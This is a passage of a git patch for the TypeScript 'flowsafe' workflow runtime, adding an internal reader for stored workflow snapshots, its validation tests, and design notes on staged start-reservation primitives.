f.seed(snapshot); + const selected = await f.runtime.authoritativeStartState( + 'd1-workflow', + 'd1-run', + ); + expect(selected?.kind).toBe( + status === 'pending' ? 'initial' : 'result', + ); + if (status === 'pending') + expect(selected).not.toHaveProperty('summary'); + else + expect(selected?.summary?.status).toBe( + terminal ? 'timed_out' : status, + ); + } + } finally { + f.close(); + } + }); + + it.each([ + 'unattributed', + 'inherited child', + 'agent', + ] as const)('reads role-neutral %s v2 provenance without auxiliary context', async (mode) => { + const f = await d1Fixture(); + try { + const snapshot = d1Snapshot(); + const provenance = snapshot.requestContext['flowsafe.runProvenance']; + if (mode === 'unattributed') { + delete provenance.startIdentity; + delete provenance.requestedBy; + delete provenance.requestedByKind; + } + if (mode === 'inherited child') + provenance.startIdentity.target.id = 'parent-workflow'; + if (mode === 'agent') { + provenance.startIdentity.target = { + kind: 'agent', + id: 'logical-agent', + threadId: 'thread-1', + }; + provenance.agentStart = { threaded: true }; + } + await f.seed(snapshot); + const selected = await f.runtime.authoritativeStartState( + 'd1-workflow', + 'd1-run', + ); + expect(selected?.provenance).toEqual(provenance); + expect(selected?.execution).toEqual({ + tablePrefix: '', + workflowId: 'd1-workflow', + runId: 'd1-run', + startToken: 'S1', + }); + expect(selected?.summary?.requestedBy).toBe( + mode === 'unattributed' ? undefined : 'owner', + ); + expect(selected).not.toHaveProperty('startIdentity'); + } finally { + f.close(); + } + }); + + it.each([ + ['absent', undefined], + ['v1', { version: 1 }], + ['unknown version', { version: 3 }], + ['marker', { initialAdmission: false }], + ['start token', { startToken: 'bad/token' }], + ['attempt token', { attemptToken: '' }], + ['requester', { requestedByKind: 'robot' }], + ['counts', { resumeCounts: [['gate', 0]] }], + ['epoch', { mutationEpoch: -1 }], + ['agent mode', { agentStart: { threaded: 'true' } }], + ])('refuses modern association with malformed provenance: %s', async (label, corruption) => { + const f = await d1Fixture(); + try { + const snapshot = d1Snapshot(); + if (label === 'agent mode') + snapshot.requestContext['flowsafe.runProvenance'].startIdentity.target = + { kind: 'agent', id: 'logical-agent', threadId: 'thread-1' }; + snapshot.requestContext['flowsafe.runProvenance'] = + label === 'absent' + ? undefined + : { + ...snapshot.requestContext['flowsafe.runProvenance'], + ...corruption, + }; + await f.seed(snapshot); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).rejects.toThrow(RunStateUnreadableError); + } finally { + f.close(); + } + }); + + it.each([ + ['runId', 'other-run'], + ['status', 'invented'], + ['requestContext', []], + ['context', null], + ['suspendedPaths', []], + ['requestContext', { 'flowsafe.runLifecycle': { version: 99 } }], + ])('refuses malformed consumed snapshot field %s', async (key, value) => { + const f = await d1Fixture(); + try { + const snapshot = d1Snapshot(); + const replacement = + key === 'requestContext' && !Array.isArray(value) + ? { ...snapshot.requestContext, ...(value as object) } + : value; + await f.seed({ ...snapshot, [key]: replacement } as WorkflowRunState); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).rejects.toThrow(RunStateUnreadableError); + } finally { + f.close(); + } + }); + + it.each([ + ['tablePrefix', 'other_'], + ['workflowId', 'other-workflow'], + ['runId', 'other-run'], + ['resourceId', 12], + ['snapshot', '{'], + ['snapshot', 'null'], + ['snapshot', '[]'], + ['createdAt', 'invalid'], + ['updatedAt', 'invalid'], + ])('refuses a wrong or malformed raw field: %s', async (key, value) => { + const f = await d1Fixture(); + try { + await f.seed(); + const row = await f.capability.readSnapshot({ + workflowId: 'd1-workflow', + runId: 'd1-run', + }); + vi.spyOn(f.capability, 'readSnapshot').mockResolvedValue({ + ...row, + [key]: value, + } as NonNullable); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).rejects.toThrow(RunStateUnreadableError); + } finally { + f.close(); + } + }); + + it.each([ + 'workflowName', + 'runId', + 'timestamp', + 'noncloneable', + ] as const)('refuses malformed custom record: %s', async (field) => { + const f = await d1Fixture('unfenced'); + try { + const snapshot = d1Snapshot(); + if (field === 'noncloneable') + snapshot.result = { callback: () => undefined }; + vi.spyOn(f.workflows, 'getWorkflowRunById').mockResolvedValue({ + workflowName: field === 'workflowName' ? 'other' : 'd1-workflow', + runId: field === 'runId' ? 'other' : 'd1-run', + snapshot, + createdAt: field === 'timestamp' ? new Date(Number.NaN) : new Date(100), + updatedAt: new Date(100), + }); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).rejects.toThrow(RunStateUnreadableError); + } finally { + f.close(); + } + }); + + it('retains input taxonomy and fixed unreadable messages for source failures', async () => { + const f = await d1Fixture(); + try { + await expect( + f.runtime.authoritativeStartState('bad/workflow', 'd1-run'), + ).rejects.toThrow(InvalidRunRequestError); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'bad/run'), + ).rejects.toThrow(InvalidRunRequestError); + await expect( + f.runtime.authoritativeStartState('unknown', 'd1-run'), + ).rejects.toThrow(UnknownWorkflowError); + const cause = new Error('secret-token-storage-failure'); + vi.spyOn(f.capability, 'readSnapshot').mockRejectedValue(cause); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).rejects.toMatchObject({ + name: 'RunStateUnreadableError', + message: "run 'd1-run' of workflow 'd1-workflow' state is not readable", + cause, + }); + vi.spyOn(f.storage, 'getStore').mockResolvedValue(undefined); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).rejects.toThrow(RunStateUnreadableError); + const missingStorage = new Mastra({ logger: false }); + vi.spyOn(missingStorage, 'getStorage').mockReturnValue(undefined); + vi.spyOn(f.workflow, 'mastra', 'get').mockReturnValue(missingStorage); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).rejects.toThrow(RunStateUnreadableError); + } finally { + f.close(); + } + }); + + it.each([ + 'undefined', + 'storage failure', + ] as const)('refuses custom %s instead of reporting absence', async (mode) => { + const f = await d1Fixture('unfenced'); + try { + const read = vi.spyOn(f.workflows, 'getWorkflowRunById'); + if (mode === 'undefined') read.mockResolvedValue(undefined as never); + else read.mockRejectedValue(new Error('secret-storage-token')); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).rejects.toMatchObject({ + name: 'RunStateUnreadableError', + message: "run 'd1-run' of workflow 'd1-workflow' state is not readable", + }); + } finally { + f.close(); + } + }); + + it.each([ + 'fence', + 'start', + ] as const)('checks matching %s binding without reading or seeding its state', async (bound) => { + const f = await d1Fixture('default', bound); + try { + await f.seed(); + const store = + bound === 'fence' + ? f.runtime.executionFence + : f.runtime.startIdempotency; + assert(store); + const admission = vi.spyOn(store, 'readForAdmission'); + const prepare = vi.spyOn(f.sql, 'prepare'); + expect( + await f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).toMatchObject({ execution: { startToken: 'S1' } }); + expect(admission).not.toHaveBeenCalled(); + expect( + prepare.mock.calls.every( + ([sql]) => + /^\s*SELECT\b/i.test(sql) && + sql.includes('mastra_workflow_snapshot'), + ), + ).toBe(true); + } finally { + f.close(); + } + }); + + it.each([ + 'fence', + 'start', + ] as const)('rejects mismatched %s binding before reading a snapshot', async (bound) => { + const f = await d1Fixture('default', bound); + try { + const store = + bound === 'fence' + ? f.runtime.executionFence + : f.runtime.startIdempotency; + assert(store); + vi.spyOn(store, 'usesDatabase').mockReturnValue(false); + const read = vi.spyOn(f.capability, 'readSnapshot'); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).rejects.toThrow(RunStateUnreadableError); + expect(read).not.toHaveBeenCalled(); + } finally { + f.close(); + } + }); + + it('refuses a fenced custom domain instead of granting a fallback identity', async () => { + const f = await d1Fixture('unfenced', 'fence'); + try { + const read = vi.spyOn(f.workflows, 'getWorkflowRunById'); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).rejects.toThrow(RunStateUnreadableError); + expect(read).not.toHaveBeenCalled(); + } finally { + f.close(); + } + }); + + it('uses the registered workflow storage instead of nominal Runtime storage', async () => { + const f = await d1Fixture(); + const actual = await d1Fixture('prefixed'); + try { + await actual.seed(); + vi.spyOn(f.workflow, 'mastra', 'get').mockReturnValue( + new Mastra({ storage: actual.storage, logger: false }), + ); + const nominal = vi.spyOn(f.capability, 'readSnapshot'); + expect( + await f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).toMatchObject({ + storage: 'd1', + execution: { tablePrefix: 'd1_', startToken: 'S1' }, + }); + expect(nominal).not.toHaveBeenCalled(); + } finally { + f.close(); + actual.close(); + } + }); + + it.each([ + 'capability', + 'workflow storage', + ] as const)('captures the original D1 source across held-read %s replacement', async (replacement) => { + const f = await d1Fixture(); + const other = await d1Fixture('prefixed'); + const held = cDeferred(); + const release = cDeferred(); + try { + await f.seed(); + await other.seed(); + const capability = f.capability; + const read = capability.readSnapshot; + const original = await read.call(capability, { + workflowId: 'd1-workflow', + runId: 'd1-run', + }); + const receivers: unknown[] = []; + const selectedRead = vi.fn(async function ( + this: FencedWorkflowAdmissionCapability, + address: { workflowId: string; runId: string }, + ) { + receivers.push(this); + const row = await read.call(this, address); + held.resolve(); + await release.promise; + return row; + }); + capability.readSnapshot = selectedRead; + const pending = f.runtime.authoritativeStartState( + 'd1-workflow', + 'd1-run', + ); + await held.promise; + const otherRead = vi.spyOn(other.capability, 'readSnapshot'); + if (replacement === 'capability') { + Object.assign(capability, other.capability); + Object.defineProperty(f.workflows, FENCED_WORKFLOW_STORAGE, { + value: other.capability, + }); + } else + vi.spyOn(f.workflow, 'mastra', 'get').mockReturnValue( + new Mastra({ storage: other.storage, logger: false }), + ); + release.resolve(); + const selected = await pending; + expect(selected).toMatchObject({ + storage: 'd1', + execution: { + tablePrefix: '', + workflowId: 'd1-workflow', + runId: 'd1-run', + startToken: 'S1', + }, + raw: original, + }); + expect(receivers).toEqual([capability]); + expect(selectedRead).toHaveBeenCalledTimes(1); + expect(otherRead).not.toHaveBeenCalled(); + } finally { + release.resolve(); + f.close(); + other.close(); + } + }); + + it('captures the custom domain method and receiver before a held read', async () => { + const f = await d1Fixture('unfenced'); + const held = cDeferred(); + const release = cDeferred(); + try { + await f.seed(); + const read = f.workflows.getWorkflowRunById; + const receivers: unknown[] = []; + const selectedRead = vi + .spyOn(f.workflows, 'getWorkflowRunById') + .mockImplementation(async function (this: typeof f.workflows, input) { + receivers.push(this); + const row = await read.call(this, input); + held.resolve(); + await release.promise; + return row; + }); + const pending = f.runtime.authoritativeStartState( + 'd1-workflow', + 'd1-run', + ); + await held.promise; + const replacement = vi.fn(read.bind(f.workflows)); + f.workflows.getWorkflowRunById = replacement; + release.resolve(); + expect(await pending).toMatchObject({ + execution: { tablePrefix: null, startToken: 'S1' }, + }); + expect(receivers).toEqual([f.workflows]); + expect(selectedRead).toHaveBeenCalledTimes(1); + expect(replacement).not.toHaveBeenCalled(); + } finally { + release.resolve(); + f.close(); + } + }); + + it.each([ + 'success', + 'failed', + 'suspended', + 'foreach', + 'lifecycle', + ] as const)('matches a frozen v1 summary twin for %s', async (mode) => { + const f = await d1Fixture(); + try { + const snapshot = d1Snapshot( + mode === 'foreach' || mode === 'lifecycle' ? 'suspended' : mode, + ); + if (mode === 'foreach') + snapshot.context.gate = [ + { + status: 'suspended', + suspendPayload: { source: 'old' }, + suspendedAt: 50, + }, + snapshot.context.gate, + ] as unknown as WorkflowRunState['context'][string]; + if (mode === 'lifecycle') + snapshot.requestContext['flowsafe.runLifecycle'] = { + version: 1, + revision: 1, + deadlineAt: 50, + terminal: { + status: 'timed_out', + error: { code: 'TIMED_OUT', message: 'run timed out' }, + transitionedAt: 100, + replayPrincipals: [{ kind: 'human', id: 'owner' }], + }, + }; + snapshot.requestContext['flowsafe.runProvenance'].version = 1; + await f.seed(snapshot); + const twin = structuredClone( + await f.runtime.status('d1-workflow', 'd1-run'), + ); + const before = await f.capability.readSnapshot({ + workflowId: 'd1-workflow', + runId: 'd1-run', + }); + assert(before); + snapshot.requestContext['flowsafe.runProvenance'].version = 2; + f.sql + .prepare( + 'UPDATE mastra_workflow_snapshot SET snapshot = ? WHERE workflow_name = ? AND run_id = ?', + ) + .run(JSON.stringify(snapshot), 'd1-workflow', 'd1-run'); + const selected = await f.runtime.authoritativeStartState( + 'd1-workflow', + 'd1-run', + ); + expect(selected?.summary).toEqual(twin); + expect(selected?.snapshot).toEqual(snapshot); + expect(selected?.summary).toMatchObject({ + createdAt: new Date(before.createdAt).toISOString(), + updatedAt: new Date(before.updatedAt).toISOString(), + requestedBy: 'owner', + requestedByKind: 'human', + }); + if (mode === 'success') + expect(selected?.summary?.result).toEqual({ source: 'S1' }); + if (mode === 'failed') + expect(selected?.summary?.error).toBe('S1 failure'); + if (mode === 'suspended' || mode === 'foreach') + expect(selected?.summary).toMatchObject({ + suspendPayload: { gate: { source: 'S1' } }, + suspendedAt: { gate: 100 }, + resumedAt: { gate: 90 }, + resumeCount: { gate: 2 }, + }); + for (const key of [ + 'provenance', + 'requestContext', + 'startToken', + 'attemptToken', + 'raw', + 'snapshot', + ]) + expect(selected?.summary).not.toHaveProperty(key); + } finally { + f.close(); + } + }); + + it('keeps nested collisions root-local against a frozen v1 twin and raw payload', async () => { + const f = d0Fixture(); + d0Collision(f); + try { + await f.runtime.start('d0-root', d0Start); + const twin = structuredClone(await f.runtime.status('d0-root', 'd0-run')); + const row = f.row(); + const snapshot = JSON.parse(row.snapshot) as WorkflowRunState; + assert(snapshot.requestContext); + snapshot.requestContext['flowsafe.runProvenance'].version = 2; + f.replaceSnapshot(snapshot); + const selectedRow = f.row(); + f.changeChild('a', 'd0-run', 'b', 123456); + f.reads.length = 0; + const selected = await f.runtime.authoritativeStartState( + 'd0-root', + 'd0-run', + ); + expect(selected?.summary).toEqual(twin); + d0AssertRootSummary(selected?.summary ?? null, selectedRow); + expect(selected?.summary?.suspendPayload).toHaveProperty('a.b', { + reason: 'root a.b', + [SUSPENSION_DEADLINE_PAYLOAD_KEY]: 900_000, + }); + expect(f.reads).toHaveLength(1); + assert(selected?.summary); + expect(suspensionDeadlinesOf(selected.summary)).toEqual( + d0DeadlineRefusal, + ); + } finally { + f.close(); + } + }); + + it('preserves magic own step keys and excludes Core control entries', async () => { + const f = await d1Fixture(); + try { + const snapshot = d1Snapshot('suspended'); + const keys = ['__proto__', 'constructor', 'toString']; + snapshot.context = Object.fromEntries( + [...keys, 'input', '__state'].map((key, index) => [ + key, + { + status: 'suspended', + payload: {}, + startedAt: 50, + suspendPayload: { key }, + suspendedAt: 100 + index, + resumedAt: 90 + index, + }, + ]), + ); + snapshot.suspendedPaths = Object.fromEntries( + [...keys, 'input', '__state'].map((key) => [key, [0]]), + ); + snapshot.requestContext['flowsafe.runProvenance'].resumeCounts = keys.map( + (key, index) => [key, index + 1], + ); + await f.seed(snapshot); + const selected = await f.runtime.authoritativeStartState( + 'd1-workflow', + 'd1-run', + ); + assert(selected?.summary); + const summary = selected.summary; + for (const field of [ + 'suspendPayload', + 'suspendedAt', + 'resumedAt', + 'resumeCount', + ] as const) { + const map = summary[field] as Record; + expect(Object.getPrototypeOf(map)).toBeNull(); + expect(Object.keys(map)).toEqual(keys); + keys.forEach((key, index) => { + expect(Object.hasOwn(map, key)).toBe(true); + expect(map[key]).toEqual( + field === 'suspendPayload' + ? { key } + : field === 'suspendedAt' + ? 100 + index + : field === 'resumedAt' + ? 90 + index + : index + 1, + ); + }); + } + } finally { + f.close(); + } + }); + + it('leaves existing starts on v1 without invoking the dormant reader', async () => { + const f = await d1Fixture(); + try { + const read = vi.spyOn(f.runtime, 'authoritativeStartState'); + await f.runtime.start('d1-workflow', { + runId: 'd1-run', + inputData: {}, + attemptToken: 'ordinary', + }); + expect(read).not.toHaveBeenCalled(); + const row = await f.capability.readSnapshot({ + workflowId: 'd1-workflow', + runId: 'd1-run', + }); + assert(row); + expect( + JSON.parse(row.snapshot).requestContext['flowsafe.runProvenance'], + ).toMatchObject({ version: 1, startToken: 'ordinary' }); + } finally { + f.close(); + } + }); +}); + interface D0Snapshot { status: RunSummary['status']; result?: unknown; @@ -133,6 +1095,11 @@ function d0Fixture(requestContextForRun?: RequestContextProvider) { reads, snapshot: (workflowId = 'd0-root', runId = 'd0-run') => JSON.parse(row(workflowId, runId).snapshot) as D0Snapshot, + replaceSnapshot(snapshot: WorkflowRunState) { + prepare( + 'UPDATE mastra_workflow_snapshot SET snapshot = ? WHERE workflow_name = ? AND run_id = ?', + ).run(JSON.stringify(snapshot), 'd0-root', 'd0-run'); + }, changeChild(workflowId: string, runId: string, step: string, time: number) { const snapshot = JSON.parse( row(workflowId, runId).snapshot, diff --git a/packages/flowsafe/src/do-runner/runtime.ts b/packages/flowsafe/src/do-runner/runtime.ts index ce366c70..209c84bb 100644 --- a/packages/flowsafe/src/do-runner/runtime.ts +++ b/packages/flowsafe/src/do-runner/runtime.ts @@ -24,12 +24,13 @@ import type { IMastraLogger } from '@mastra/core/logger'; import { Mastra } from '@mastra/core/mastra'; import { RequestContext } from '@mastra/core/request-context'; import type { MastraCompositeStore } from '@mastra/core/storage'; -import type { - AnyWorkflow, - WorkflowRunState, - WorkflowRunStatus, - WorkflowState, - WorkflowStateField, +import { + type AnyWorkflow, + cleanStepResult, + type WorkflowRunState, + type WorkflowRunStatus, + type WorkflowState, + type WorkflowStateField, } from '@mastra/core/workflows'; import { type ExecutionPrincipalKind, @@ -44,6 +45,7 @@ import { BREAKWATER_WORKFLOW_SCOPE_KEY, } from './breakwater-keys.js'; import { + type D1RunExecutionIdentity, normalizeMutationEpoch, normalizeStartIdentity, type RunExecutionIdentity, @@ -60,6 +62,10 @@ import { ExecutionFencedError, type ExecutionFenceStore, } from './execution-fence.js'; +import { + FENCED_WORKFLOW_STORAGE, + type FencedWorkflowAdmissionCapability, +} from './fenced-workflow-capability.js'; import { mastraRegistryEntries } from './mastra-registry.js'; import { isPathSafeId } from './path-safe-id.js'; import type { HostPubSub } from './pubsub.js'; @@ -81,14 +87,23 @@ import { type RunTerminalErrorEnvelope, type RunTerminalStatus, } from './run-lifecycle.js'; -import { decodeResumeCounts, nextResumeCount } from './run-provenance.js'; +import { + decodeProgressRunProvenance, + decodeResumeCounts, + nextResumeCount, + type ProgressRunProvenance, + runExecutionIdentityFor, +} from './run-provenance.js'; import { type CoreRunResult, errorText, + isRunStatus, type RunStatus, terminalStateFields, terminalStateUpdate, } from './run-terminal-state.js'; +import { validateTablePrefix } from './table-prefix.js'; +import type { RawWorkflowSnapshot } from './workflow-snapshot-row.js'; export { RunLifecycleBlockedError, @@ -251,6 +266,27 @@ const RUN_STATE_FIELDS: WorkflowStateField[] = [ 'requestContext', ]; +/** @internal One physical observation; this does not certify a logical root. */ +type AuthoritativeStartState = { + readonly provenance: ProgressRunProvenance; + readonly snapshot: WorkflowRunState; +} & ( + | { + readonly storage: 'd1'; + readonly execution: D1RunExecutionIdentity; + readonly raw: RawWorkflowSnapshot; + } + | { + readonly storage: 'unfenced'; + readonly execution: RunExecutionIdentity & { readonly tablePrefix: null }; + readonly raw?: never; + } +) & + ( + | { readonly kind: 'initial'; readonly summary?: never } + | { readonly kind: 'result'; readonly summary: RunSummary } + ); + interface RunProvenance { version: 1; /** Absent on unattributed runs; may be unpaired only on legacy snapshots. */ @@ -458,9 +494,14 @@ function byStep( // (isFromInMemory), steps are empty and timestamps are current-time; the // projection truthfully degrades to status-only rather than fabricating // detail. +type SummaryState = Pick< + WorkflowState, + 'status' | 'result' | 'error' | 'steps' | 'requestContext' | 'suspendedPaths' +> & { createdAt: Date | string; updatedAt: Date | string }; + function summarizeState( runId: string, - state: WorkflowState, + state: SummaryState, counts?: ReadonlyMap, requestedBy?: string, requestedByKind?: ExecutionPrincipalKind, @@ -508,6 +549,34 @@ function summarizeState( return summary; } +function summaryFromSelectedSnapshot( + runId: string, + snapshot: WorkflowRunState, + timestamps: { createdAt: string; updatedAt: string }, + provenance: ProgressRunProvenance, +): RunSummary { + const steps = Object.fromEntries( + Object.entries(snapshot.context ?? {}) + .filter(([key]) => key !== 'input' && key !== '__state') + .map(([key, value]) => [key, cleanStepResult(value)]), + ) as WorkflowState['steps']; + return summarizeState( + runId, + { + status: snapshot.status, + result: snapshot.result, + error: snapshot.error, + requestContext: snapshot.requestContext, + suspendedPaths: snapshot.suspendedPaths, + steps, + ...timestamps, + }, + new Map(provenance.resumeCounts), + provenance.requestedBy, + provenance.requestedByKind, + ); +} + function summaryWithRequester( summary: RunSummary, requestedBy?: string, @@ -1879,6 +1948,195 @@ export class RunnerRuntime { return this.#summaryFromState(runId, state); } + /** @internal Read generation and root-local value from one stored observation. */ + async authoritativeStartState( + workflowId: string, + runId: string, + ): Promise { + if (!isPathSafeId(workflowId)) + throw new InvalidRunRequestError('workflowId is malformed'); + if (!isPathSafeId(runId)) + throw new InvalidRunRequestError('runId is malformed'); + const workflow = this.#getWorkflow(workflowId); + try { + const storage = workflow.mastra?.getStorage(); + const workflows = await storage?.getStore('workflows'); + if (!workflows) throw new Error('workflow storage is unavailable'); + const capability = ( + workflows as typeof workflows & { + [FENCED_WORKFLOW_STORAGE]?: FencedWorkflowAdmissionCapability; + } + )[FENCED_WORKFLOW_STORAGE]; + let source: + | { storage: 'd1'; tablePrefix: string; raw: RawWorkflowSnapshot } + | { storage: 'unfenced'; tablePrefix: null }; + let decoded: unknown; + let createdAt: Date | string; + let updatedAt: Date | string; + if (capability !== undefined) { + const { + database, + tablePrefix: suppliedPrefix, + readSnapshot, + } = capability; + if (typeof suppliedPrefix !== 'string') + throw new Error('workflow storage namespace is malformed'); + validateTablePrefix(suppliedPrefix); + const tablePrefix = suppliedPrefix.toLowerCase(); + if ( + (this.#executionFence && + !this.#executionFence.usesDatabase(database)) || + (this.#startIdempotency && + !this.#startIdempotency.usesDatabase(database)) + ) + throw new Error( + 'workflow storage binding disagrees with runtime stores', + ); + const observed = await readSnapshot.call(capability, { + workflowId, + runId, + }); + if (observed === undefined) return null; + for (const key of [ + 'tablePrefix', + 'workflowId', + 'runId', + 'resourceId', + 'snapshot', + 'createdAt', + 'updatedAt', + ]) { + if (!Object.hasOwn(observed, key)) + throw new Error('workflow snapshot field is missing'); + } + const { + tablePrefix: rawPrefix, + workflowId: rawWorkflow, + runId: rawRun, + resourceId, + snapshot, + createdAt: rawCreated, + updatedAt: rawUpdated, + } = observed; + if ( + rawPrefix !== tablePrefix || + rawWorkflow !== workflowId || + rawRun !== runId || + (resourceId !== null && typeof resourceId !== 'string') || + typeof snapshot !== 'string' || + typeof rawCreated !== 'string' || + typeof rawUpdated !== 'string' + ) + throw new Error('workflow snapshot fields are malformed'); + const raw = Object.freeze({ + tablePrefix, + workflowId, + runId, + resourceId, + snapshot, + createdAt: rawCreated, + updatedAt: rawUpdated, + }); + source = { storage: 'd1', tablePrefix, raw }; + decoded = JSON.parse(snapshot); + createdAt = rawCreated; + updatedAt = rawUpdated; + } else { + if (this.#executionFence) + throw new Error('fenced workflow storage capability is unavailable'); + const read = workflows.getWorkflowRunById; + const row = await read.call(workflows, { + workflowName: workflowId, + runId, + }); + if (row === null) return null; + const { + workflowName, + runId: storedRun, + snapshot, + createdAt: storedCreated, + updatedAt: storedUpdated, + } = row; + if (workflowName !== workflowId || storedRun !== runId) + throw new Error( + 'workflow snapshot selector disagrees with the request', + ); + createdAt = storedCreated; + updatedAt = storedUpdated; + decoded = + typeof snapshot === 'string' + ? JSON.parse(snapshot) + : structuredClone(snapshot); + source = { storage: 'unfenced', tablePrefix: null }; + } + if ( + decoded === null || + typeof decoded !== 'object' || + Array.isArray(decoded) + ) + throw new Error('workflow snapshot is malformed'); + const snapshot = decoded as WorkflowRunState; + if (snapshot.runId !== runId || !isRunStatus(snapshot.status)) + throw new Error('workflow snapshot identity or status is malformed'); + for (const value of [ + snapshot.requestContext, + snapshot.context, + snapshot.suspendedPaths, + ]) { + if ( + value !== undefined && + (value === null || typeof value !== 'object' || Array.isArray(value)) + ) + throw new Error('workflow snapshot container is malformed'); + } + const provenance = decodeProgressRunProvenance( + snapshot.requestContext?.[RUN_PROVENANCE_CONTEXT_KEY], + ); + lifecycleFromRequestContext(snapshot.requestContext); + for (const value of [createdAt, updatedAt]) { + if (!(value instanceof Date) && typeof value !== 'string') + throw new Error('workflow snapshot timestamp is malformed'); + if (!Number.isFinite(new Date(value).getTime())) + throw new Error('workflow snapshot timestamp is malformed'); + } + const execution = runExecutionIdentityFor( + { tablePrefix: source.tablePrefix, workflowId, runId }, + provenance, + ); + const state = + snapshot.status === 'pending' + ? { kind: 'initial' as const, snapshot, provenance } + : { + kind: 'result' as const, + snapshot, + provenance, + summary: summaryFromSelectedSnapshot( + runId, + snapshot, + { createdAt: toIso(createdAt), updatedAt: toIso(updatedAt) }, + provenance, + ), + }; + return source.storage === 'd1' + ? { + ...state, + storage: 'd1', + execution: Object.freeze({ + ...execution, + tablePrefix: source.tablePrefix, + }), + raw: source.raw, + } + : { + ...state, + storage: 'unfenced', + execution: Object.freeze({ ...execution, tablePrefix: null }), + }; + } catch (cause) { + throw new RunStateUnreadableError(workflowId, runId, { cause }); + } + } + /** * Reconcile an interrupted start against the token stored in the * authoritative workflow snapshot. Mastra's `createRun()` first persists a From 8a2850d9e11dac10c60f37d498fa1952458511db Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 7 Sep 2026 20:28:18 +0400 Subject: [PATCH 082/169] feat(flowsafe): stage exact reservation primitives --- .changeset/sticky-fence-epochs.md | 2 + docs/do-runner-design.md | 14 + .../src/do-runner/fenced-workflows-d1.test.ts | 64 + .../src/do-runner/fenced-workflows-d1.ts | 61 +- .../src/do-runner/start-idempotency.test.ts | 1117 ++++++++++++++++- .../src/do-runner/start-idempotency.ts | 516 ++++++-- .../do-runner/start-reservation-contract.ts | 154 +++ 7 files changed, 1795 insertions(+), 133 deletions(-) create mode 100644 packages/flowsafe/src/do-runner/start-reservation-contract.ts diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md index 5f685e1d..4f66ab04 100644 --- a/.changeset/sticky-fence-epochs.md +++ b/.changeset/sticky-fence-epochs.md @@ -21,3 +21,5 @@ Reject sparse economic-operation lists before execution or lifecycle writes, inc Project stored run summaries from the selected workflow's direct step records instead of merging child workflow rows over dotted root step names. Preserve root payloads and suspension timestamps across child-only updates while retaining detailed nested resume preparation, grant fingerprints, cache-fallback safeguards and existing deadline refusals. This correction does not activate the staged generation-bound admission or private replay protocol. Add an internal reader that derives physical execution identity and a root-local summary from one stored v2 observation. Preserve exact D1 observations and explicit unfenced namespaces, reject malformed modern state, and distinguish raw pending state from nonpending results. Existing start, status, recovery and host callers remain unchanged; this prerequisite does not activate generation binding or final-write epoch enforcement. + +Stage internal exact reservation claim, release, alias association, prepared binding and full-execution settlement methods. Claim and release strictly advance an observation stamp and require their own valid write response; alias and prepared binding have distinct readback rules. Reuse immutable reservation capture in atomic admission without changing its witness checks. Default reservation creation and Runtime, host, rollback and retention callers remain on legacy behavior pending coordinated activation. diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index 7efdbadd..4038853f 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -184,6 +184,20 @@ Reservation reads also return a `binding`: `legacy` for an unassociated old-form Schema upgrades preserve existing rows and add nullable binding columns. Current reservation writes still produce legacy bindings; automatic generation binding is not enabled. +The internal `StartIdempotencyStore` methods stage exact reservation operations for coordinated writer integration: + +| Method | Required observation and result | +| --- | --- | +| `claimReservation` | Claims an exact modern-unbound reserved row and returns this caller’s successful `RETURNING` observation, or undefined on a known miss | +| `releaseReservation` | Releases an exact modern-unbound started row; a lost write response remains unreadable without a reread | +| `associateReservation` | Binds an alias to an already-observed nonpending execution without reading its snapshot again; one readback may converge on that exact binding after a miss or lost response | +| `bindPreparedStart` | Binds a newly prepared execution to the exact started claim; only a lost response permits readback, which must preserve the original claim state and timestamps | +| `settleExecution` | Settles all aliases matching the complete physical execution, owner, logical target and thread, preserving neighboring generations and already-terminal timestamps | + +Claim and release compare every observed field and strictly advance `updatedAt` using the captured clock or the previous stamp plus one. This optimistic concurrency control stamp is neither an execution generation nor a host correlation token. A stopped or backward clock can make `pendingSince` lead wall time; an exhausted nonadvancing stamp refuses before database access. Only a successful claim response establishes that caller’s claim, because simultaneous contenders can propose the same stamp. + +Binding preserves both timestamps. Alias readback can accept later state changes, including terminal settlement, while prepared-start readback must preserve the exact original claim. Settlement uses one finite captured clock even when it precedes the previous timestamp. These operations require the current schema without creating or upgrading tables; settlement alone treats a genuinely absent table as empty. Built-in writers and callers retain the existing legacy methods until coordinated activation. + The fence can retain a complete D1 proof identity alongside `proofRunId`. Store readings expose it as `proofExecution`; admin JSON excludes that identity and its token. Adding its nullable columns preserves active epochs, revisions, receipts, proof fields, and timestamps. Provisioning validates structural schema metadata; Runtime additionally validates proof identifiers and canonical prefixes. Provisioning does not repair corrupt identity or receipt bytes. These representations do not change the current run-ID-based execution predicates. diff --git a/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts index be9dc3e4..212b19dd 100644 --- a/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts +++ b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts @@ -1844,6 +1844,70 @@ function claim(input: InitialRunAdmission) { return input.reservation; } +describe('FS8 D2 dormant reservation primitives', () => { + async function modernClaim() { + const h = await fixture({ keyed: true, state: 'proof-only' }); + const store = h.input.reservationStore; + if (!store) throw new Error('reservation store is missing'); + h.sql.exec("UPDATE flowsafe_start_idempotency SET state = 'reserved'"); + const reserved = await store.readForAdmission('key'); + if (!reserved) throw new Error('reserved row is missing'); + const claimed = await store.claimReservation(reserved); + if (!claimed) throw new Error('claimed row is 